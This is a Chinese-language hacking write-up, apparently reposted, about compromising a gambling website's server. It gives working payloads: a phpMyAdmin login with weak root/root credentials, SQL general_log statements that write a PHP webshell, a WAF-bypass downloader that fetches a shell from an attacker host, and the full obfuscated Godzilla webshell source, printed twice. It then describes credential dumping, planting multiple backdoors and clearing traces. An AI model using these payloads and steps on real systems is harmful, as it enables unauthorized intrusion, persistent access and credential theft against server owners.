簡單繞過waf拿下賭博網站


確定目標

收集信息

x.x.x.x

首先常規測試方法一頓懟,目錄掃描,端口掃描,js文件,中間件,指紋識別,反正該上的都上。。。。
隨手加個路徑,報錯了,當看到這個界面我瞬間就有思路了

為什么這么說呢,因為之前我就碰見過這樣的網站報錯, 這是一個php集成環境,叫upupw,跟phpstudy是一樣的

upupw --> pmd 
phpstudy --> phpmyadmin

突破點

這個集成環境包也有個phpinfo的頁面,跟數據庫管理界面

u.php

測試一下弱口令

root/root

連接成功后就可以看到phpinfo的頁面

好了現在問題變成phpmyadmin拿shell

getshell

三步拿shell

set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

當執行第三步的時候頁面 卡在執行中。。。沒有反應 瞬間感覺不對,可能存在waf
換了個免殺馬試試,先寫到txt里邊看看成否成功

沒有任何問題,下面直接寫入php文件

可以寫入,直接去連接shell

果然有waf,當時寫入的時候就感覺到了,不免殺的shell,sql語句執行不了

繞過waf

懟了半天都不知道是什么鬼waf,用下載文件試試
為了避免攔截php代碼的waf,我這里遠程下載的腳本是利用JavaScript轉寫php

SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

訪問11.php 就會生成shell.php
這里的shell也是用了哥斯拉的免殺shell

<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

嘗試了這么多次

進程里沒有waf進程

權限是system

脫源碼

上傳抓密碼工具,直接獲取管理密碼,登上服務器

留后門,清理痕跡

多留幾個后門,萬一被刪

這個網段還有這么多機器

源碼

打開源碼才發現waf是360webscan


總結:
1.信息收集,目錄掃描,端口掃描,JS文件敏感文件掃描,中間件掃描,指紋識別無任何可利用信息
2.通過在網址后加入錯誤路徑,報錯信息“為找到,法海不懂愛,頁面顯示不出來”,該系統是php集成環境upupw
3.該環境有個叫phpinfo的文件為u.php,輸入弱口令root/root,可直接進入phpmyadmin,同時可查看phpinfo的信息,暴露出網站的絕對路徑為D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/
4.phpmyadmin通過寫入日志獲取shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
5.可直接寫入一句話,但是連接shell,被WAF攔截
6.通過遠程下載的腳本是利用JavaScript轉寫php繞過WAF(360webscan)
SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';
SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
7.訪問11.php 就會生成shell.php
shell.txt:
<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }
8.通過格拉斯連接shell,然后查看進程tasklist,並無殺毒軟件,查看權限whoami,是system權限
9.上傳 hash抓取本地密碼,可抓取windows本地用戶名和密碼
10.上傳cs的生成的后門文件,並執行。
11.下載源碼,發現WAF使用的360webscan

原文鏈接:  https://xz.aliyun.com/t/9181


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM